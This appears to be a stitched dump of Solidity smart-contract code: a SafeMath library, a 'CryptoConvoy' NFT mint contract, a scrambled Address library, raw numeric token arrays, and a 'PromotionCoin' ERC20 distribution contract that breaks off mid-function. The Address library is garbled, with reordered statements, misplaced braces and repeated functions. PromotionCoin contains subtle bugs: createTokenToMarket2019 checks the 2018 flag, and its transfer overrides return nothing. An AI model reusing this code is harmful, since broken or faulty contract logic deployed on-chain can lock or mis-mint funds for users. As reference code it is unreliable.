with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.4; contract CryptoConvoy is ERC721A, Ownable { using SafeMath for uint256; using Strings for uint256; mapping(address => uint256) public mintedRecord; uint256 public MAX_SUPPLY = 1500; uint256 public PUBLIC_MINTABLE_SUPPLY = 1400; uint256 public COMPANY_MINTABLE_SUPPLY = 100; uint256 public publicMintedSoFar = 0; uint256 public companyMintedSoFar = 0; uint256 public price = 0.1 ether; bool public saleIsActive = false; bool public isRevealed; string public nonRevealURI; address public companyWallet = 0xA77a77DdC537885677925d7EB38C4D083E2D0080; string internal baseUri; constructor(string memory _nonRevealURI) ERC721A("CryptoConvoy", "CCY") { nonRevealURI = _nonRevealURI; } function setNonRevealURI(string memory _nonRevealURI) public onlyOwner { nonRevealURI = _nonRevealURI; } function reveal(string memory uri) public onlyOwner { isRevealed = true; setBaseURI(uri); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; payable(msg.sender).transfer(balance); } function setPrice(uint256 newPrice) public onlyOwner { price = newPrice; } function setBaseURI(string memory uri) public onlyOwner { baseUri = uri; } function _baseURI() internal view virtual override returns (string memory) { return baseUri; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); if (!isRevealed) { return nonRevealURI; } string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function claimCompanyMint(uint256 quantity, address toAddress) public onlyOwner{ require(companyMintedSoFar.add(quantity) <=COMPANY_MINTABLE_SUPPLY,"Company Mint Exceeds" ); _mint( toAddress, quantity); companyMintedSoFar = companyMintedSoFar.add(quantity); } /* * Pause sale if active, make active if paused */ function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } function publicMint(uint256 numberOfTokens) public payable { require(numberOfTokens > 0, "Invalid Token Number"); require(saleIsActive, "Sale must be active to mint NFT"); require(publicMintedSoFar.add(numberOfTokens) <=PUBLIC_MINTABLE_SUPPLY,"Public Mint Exceeds" ); uint256 paymentAmount = numberOfTokens.mul(price); require(msg.value >= paymentAmount, "Ether value sent is not correct"); _mint(msg.sender, numberOfTokens); mintedRecord[msg.sender] = mintedRecord[msg.sender].add(numberOfTokens); payable(companyWallet).transfer(address(this).balance); publicMintedSoFar = publicMintedSoFar.add(numberOfTokens); } function _mint(address _to, uint256 quantity) internal { require( totalSupply().add(quantity) <= MAX_SUPPLY, "Max Supply Exceeds" ); _safeMint(_to, quantity); } }
* @dev Collection of functions related to the address type/
library Address { } function isContract(address account) internal view returns (bool) { return account.code.length > 0; } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); require( success, "Address: unable to send value, recipient may have reverted" ); } (bool success, ) = recipient.call{value: amount}(""); function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); data ); return verifyCallResult(success, returndata, errorMessage); } (bool success, bytes memory returndata) = target.call{value: value}( function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } } else { function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } } else { }
190,377
[ 1, 2532, 434, 4186, 3746, 358, 326, 1758, 618, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 5267, 288, 203, 97, 203, 203, 565, 445, 353, 8924, 12, 2867, 2236, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 203, 3639, 327, 2236, 18, 710, 18, 2469, 405, 374, 31, 203, 565, 289, 203, 203, 565, 445, 1366, 620, 12, 2867, 8843, 429, 8027, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 2583, 12, 203, 5411, 1758, 12, 2211, 2934, 12296, 1545, 3844, 16, 203, 5411, 315, 1887, 30, 2763, 11339, 11013, 6, 203, 3639, 11272, 203, 203, 3639, 2583, 12, 203, 5411, 2216, 16, 203, 5411, 315, 1887, 30, 13496, 358, 1366, 460, 16, 8027, 2026, 1240, 15226, 329, 6, 203, 3639, 11272, 203, 565, 289, 203, 203, 3639, 261, 6430, 2216, 16, 262, 273, 8027, 18, 1991, 95, 1132, 30, 3844, 97, 2932, 8863, 203, 565, 445, 445, 1477, 12, 2867, 1018, 16, 1731, 3778, 501, 13, 203, 3639, 2713, 203, 3639, 1135, 261, 3890, 3778, 13, 203, 565, 288, 203, 3639, 327, 445, 1477, 12, 3299, 16, 501, 16, 315, 1887, 30, 4587, 17, 2815, 745, 2535, 8863, 203, 565, 289, 203, 203, 565, 445, 445, 1477, 12, 203, 3639, 1758, 1018, 16, 203, 3639, 1731, 3778, 501, 16, 203, 3639, 533, 3778, 9324, 203, 565, 262, 2713, 1135, 261, 3890, 3778, 13, 288, 203, 3639, 327, 445, 26356, 620, 12, 3299, 16, 501, 16, 374, 16, 9324, 1769, 203, 565, 289, 203, 203, 565, 445, 445, 26356, 620, 12, 203, 3639, 1758, 1018, 16, 203, 3639, 1731, 3778, 501, 16, 203, 3639, 2254, 5034, 460, 2 ]
//Address: 0xa6714a2e5f0b1bdb97b895b0913b4fcd3a775e4d //Contract name: PromotionCoin //Balance: 0 Ether //Verification Date: 2/5/2018 //Transacion Count: 30887 // CODE STARTS HERE pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract DateTime { /* * Date and Time utilities for ethereum contracts * */ struct _DateTime { uint16 year; uint8 month; uint8 day; uint8 hour; uint8 minute; uint8 second; uint8 weekday; } uint constant DAY_IN_SECONDS = 86400; uint constant YEAR_IN_SECONDS = 31536000; uint constant LEAP_YEAR_IN_SECONDS = 31622400; uint constant HOUR_IN_SECONDS = 3600; uint constant MINUTE_IN_SECONDS = 60; uint16 constant ORIGIN_YEAR = 1970; function isLeapYear(uint16 year) public pure returns (bool) { if (year % 4 != 0) { return false; } if (year % 100 != 0) { return true; } if (year % 400 != 0) { return false; } return true; } function leapYearsBefore(uint year) public pure returns (uint) { year -= 1; return year / 4 - year / 100 + year / 400; } function getDaysInMonth(uint8 month, uint16 year) public pure returns (uint8) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { return 31; } else if (month == 4 || month == 6 || month == 9 || month == 11) { return 30; } else if (isLeapYear(year)) { return 29; } else { return 28; } } function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) { uint secondsAccountedFor = 0; uint buf; uint8 i; // Year dt.year = getYear(timestamp); buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf; secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf); // Month uint secondsInMonth; for (i = 1; i <= 12; i++) { secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year); if (secondsInMonth + secondsAccountedFor > timestamp) { dt.month = i; break; } secondsAccountedFor += secondsInMonth; } // Day for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) { if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) { dt.day = i; break; } secondsAccountedFor += DAY_IN_SECONDS; } // Hour dt.hour = getHour(timestamp); // Minute dt.minute = getMinute(timestamp); // Second dt.second = getSecond(timestamp); // Day of week. dt.weekday = getWeekday(timestamp); } function getYear(uint timestamp) public pure returns (uint16) { uint secondsAccountedFor = 0; uint16 year; uint numLeapYears; // Year year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS); numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) public pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) public pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) { uint16 i; // Year for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } // Month uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } // Day timestamp += DAY_IN_SECONDS * (day - 1); // Hour timestamp += HOUR_IN_SECONDS * (hour); // Minute timestamp += MINUTE_IN_SECONDS * (minute); // Second timestamp += second; return timestamp; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Authorizable * @dev Allows to authorize access to certain function calls * * ABI * [{"constant":true,"inputs":[{"name":"authorizerIndex","type":"uint256"}],"name":"getAuthorizer","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_addr","type":"address"}],"name":"addAuthorized","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_addr","type":"address"}],"name":"isAuthorized","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"inputs":[],"payable":false,"type":"constructor"}] */ contract Authorizable { address[] authorizers; mapping(address => uint) authorizerIndex; /** * @dev Throws if called by any account tat is not authorized. */ modifier onlyAuthorized { require(isAuthorized(msg.sender)); _; } /** * @dev Contructor that authorizes the msg.sender. */ function Authorizable() public { authorizers.length = 2; authorizers[1] = msg.sender; authorizerIndex[msg.sender] = 1; } /** * @dev Function to get a specific authorizer * @param _authorizerIndex index of the authorizer to be retrieved. * @return The address of the authorizer. */ function getAuthorizer(uint _authorizerIndex) external view returns(address) { return address(authorizers[_authorizerIndex + 1]); } /** * @dev Function to check if an address is authorized * @param _addr the address to check if it is authorized. * @return boolean flag if address is authorized. */ function isAuthorized(address _addr) public view returns(bool) { return authorizerIndex[_addr] > 0; } /** * @dev Function to add a new authorizer * @param _addr the address to add as a new authorizer. */ function addAuthorized(address _addr) external onlyAuthorized { authorizerIndex[_addr] = authorizers.length; authorizers.length++; authorizers[authorizers.length - 1] = _addr; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title PromotionCoin * @dev The main PC token contract */ contract PromotionCoin is MintableToken { string public name = "PromotionCoin"; string public symbol = "PC"; uint public decimals = 5; /** * @dev Allows anyone to transfer * @param _to the recipient address of the tokens. * @param _value number of tokens to be transfered. */ function transfer(address _to, uint256 _value) public returns (bool) { super.transfer(_to, _value); } /** * @dev Allows anyone to transfer * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) public returns (bool) { super.transferFrom(_from, _to, _value); } } /** * @title PromotionCoinDistribution * @dev The main PC token sale contract * * ABI */ contract PromotionCoinDistribution is Ownable, Authorizable { using SafeMath for uint; event AuthorizedCreateToPrivate(address recipient, uint pay_amount); event Mined(address recipient, uint pay_amount); event CreateTokenToTeam(address recipient, uint pay_amount); event CreateTokenToMarket(address recipient, uint pay_amount); event CreateTokenToOperation(address recipient, uint pay_amount); event CreateTokenToTax(address recipient, uint pay_amount); event PromotionCoinMintFinished(); PromotionCoin public token = new PromotionCoin(); DateTime internal dateTime = new DateTime(); uint public DICIMALS = 5; uint totalToken = 21000000000 * (10 ** DICIMALS); //210亿 uint public privateTokenCap = 5000000000 * (10 ** DICIMALS); //私募发行50亿 uint public marketToken2018 = 0.50 * 1500000000 * (10 ** DICIMALS); //全球推广15亿,第一年 50% uint public marketToken2019 = 0.25 * 1500000000 * (10 ** DICIMALS); //全球推广15亿, 第二年 25% uint public marketToken2020 = 0.15 * 1500000000 * (10 ** DICIMALS); //全球推广15亿, 第三年 15% uint public marketToken2021 = 0.10 * 1500000000 * (10 ** DICIMALS); //全球推广15亿, 第四年 10% uint public operationToken = 2000000000 * (10 ** DICIMALS); //社区运营20亿 uint public minedTokenCap = 11000000000 * (10 ** DICIMALS); //挖矿110亿 uint public teamToken2018 = 500000000 * (10 ** DICIMALS); //团队预留10亿(10%),2018年发放5亿 uint public teamToken2019 = 500000000 * (10 ** DICIMALS); //团队预留10亿(10%),2019年发放5亿 uint public taxToken = 500000000 * (10 ** DICIMALS); //税务及法务年发放5亿 uint public privateToken = 0; //私募已发行数量 address public teamAddress; address public operationAddress; address public marketAddress; address public taxAddress; bool public team2018TokenCreated = false; bool public team2019TokenCreated = false; bool public operationTokenCreated = false; bool public market2018TokenCreated = false; bool public market2019TokenCreated = false; bool public market2020TokenCreated = false; bool public market2021TokenCreated = false; bool public taxTokenCreated = false; //year => token mapping(uint16 => uint) public minedToken; //游戏挖矿已发行数量 uint public firstYearMinedTokenCap = 5500000000 * (10 ** DICIMALS); //2018年55亿(110亿*0.5),以后逐年减半 uint public minedTokenStartTime = 1514736000; //new Date("Jan 01 2018 00:00:00 GMT+8").getTime() / 1000; function isContract(address _addr) internal view returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size > 0; } //2018年55亿(110亿*0.5),以后逐年减半,到2028年发放剩余的全部 function getCurrentYearMinedTokenCap(uint _currentYear) public view returns(uint) { require(_currentYear <= 2028); if (_currentYear < 2028) { uint divTimes = 2 ** (_currentYear - 2018); uint currentYearMinedTokenCap = firstYearMinedTokenCap.div(divTimes).div(10 ** DICIMALS).mul(10 ** DICIMALS); return currentYearMinedTokenCap; } else if (_currentYear == 2028) { return 10742188 * (10 ** DICIMALS); } else { revert(); } } function getCurrentYearRemainToken(uint16 _currentYear) public view returns(uint) { uint currentYearMinedTokenCap = getCurrentYearMinedTokenCap(_currentYear); if (minedToken[_currentYear] == 0) { return currentYearMinedTokenCap; } else { return currentYearMinedTokenCap.sub(minedToken[_currentYear]); } } function setTeamAddress(address _address) public onlyAuthorized { teamAddress = _address; } function setMarketAddress(address _address) public onlyAuthorized { marketAddress = _address; } function setOperationAddress(address _address) public onlyAuthorized { operationAddress = _address; } function setTaxAddress(address _address) public onlyAuthorized { taxAddress = _address; } function createTokenToMarket2018() public onlyAuthorized { require(marketAddress != address(0)); require(market2018TokenCreated == false); market2018TokenCreated = true; token.mint(marketAddress, marketToken2018); CreateTokenToMarket(marketAddress, marketToken2018); } function createTokenToMarket2019() public onlyAuthorized { require(marketAddress != address(0)); require(market2018TokenCreated == false); market2019TokenCreated = true; token.mint(marketAddress, marketToken2019); CreateTokenToMarket(marketAddress, marketToken2019); } function createTokenToMarket2020() public onlyAuthorized { require(marketAddress != address(0)); require(market2020TokenCreated == false); market2020TokenCreated = true; token.mint(marketAddress, marketToken2020); CreateTokenToMarket(marketAddress, marketToken2020); } function createTokenToMarket2021() public onlyAuthorized { require(marketAddress != address(0)); require(market2021TokenCreated == false); market2021TokenCreated = true; token.mint(marketAddress, marketToken2021); CreateTokenToMarket(marketAddress, marketToken2021); } function createTokenToOperation() public onlyAuthorized { require(operationAddress != address(0)); require(operationTokenCreated == false); operationTokenCreated = true; token.mint(operationAddress, operationToken); CreateTokenToOperation(operationAddress, operationToken); } function createTokenToTax() public onlyAuthorized { require(taxAddress != address(0)); require(taxTokenCreated == false); taxTokenCreated = true; token.mint(taxAddress, taxToken); CreateTokenToOperation(taxAddress, taxToken); } function _createTokenToTeam(uint16 _currentYear) internal { if (_currentYear == 2018) { require(team2018TokenCreated == false); team2018TokenCreated = true; token.mint(teamAddress, teamToken2018); CreateTokenToTeam(teamAddress, teamToken2018); } else if (_currentYear == 2019) { require(team2019TokenCreated == false); team2019TokenCreated = true; token.mint(teamAddress, teamToken2019); CreateTokenToTeam(teamAddress, teamToken2019); } else { 